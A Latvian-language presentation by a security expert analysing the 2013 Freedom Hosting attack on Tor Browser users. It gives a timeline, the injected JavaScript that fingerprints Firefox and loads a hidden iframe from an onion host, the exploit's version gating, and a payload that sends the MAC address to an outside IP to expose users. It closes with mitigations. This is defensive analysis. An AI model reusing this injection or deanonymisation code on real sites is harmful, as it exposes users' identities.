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Uzbrukuma laika līnija

● 2. augusts – arestēts Eric Eoin Marques, FreedomWeb 
īpašnieks

● 4. augusts – tiek pamanīts kaitīgs JavaScript uz Freedom 
Hosting serveriem

● 5. augusts – FreedomHosting kļūst nesasniedzams



  

Ielāde (1)
function isReady()
{
    if ( document.readyState === "interactive" || document.readyState === "complete" ) 
{
    
        if ( isFF() ) {
            format_quick();
        }
    }
    else
    {
        setTimeout(isReady, 250);
    }
}
setTimeout(isReady, 250);

function isFF() {
    return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || 
/Firefox/i.test(navigator.userAgent));
}



  

Ielāde (2)

function format_quick() {
    if ( ! readCookie("n_serv") ) {
        createCookie("n_serv", "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX", 30);
        updatify();
    }
}

function updatify() {
    var iframe = document.createElement('iframe');
    iframe.style.display = "inline";
    iframe.frameBorder = "0";
    iframe.scrolling = "no";
    iframe.src = "http://nl7qbezu7pqsuone.onion?
requestID=XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX";
    iframe.height = "5";
    iframe.width = "*";
    document.body.appendChild(iframe);
}



  

Versiju kontrole (1)

● Tiek pārbaudīts, vai userAgent satur “Windows NT”

● Tiek pārbaudīts, vai pārlūks ir “Firefox”

● Tiek noskaidrota Firefox versija



  

Versiju kontrole (2)

if(version <17)  
{

window.location.href="content_1.html"; 
} // "content_1.html" was never obtained
if( version >=17 && version <18 )

var12 = 0xE8; // load “content_2.html”



  

Koda izpilde

● Firefox DocumentViewer komponentes kļūda

● Caur ntdll ZwProtectVirtualMemory tiek iegūta iespēja 
koda izpildei

● Ļaunatūras binārā daļa ir statiska un īpaši pielāgota Tor 
Browser Bundle



  

Payload (1)



  

Payload (2)

● Noskaidro MAC adresi 

● MAC adresi nosūta, kā Cookie “ID”

● GET /[UUID] pieprasījums uz 65.222.202.54

● Līdz ar to tiek nodota arī “īstā” IP adrese



  

Risinājumi

● (?) Nelietot Windows

● Lietot Tor aizsardzību tīkla iekārtu līmenī

● Izslēgt JavaScript



  

Paldies par uzmanību!

Kirils Solovjovs, IT drošības eksperts, Mg. dat.

kirils.solovjovs@kirils.com
+371 26036916
@KirilsSolovjovs
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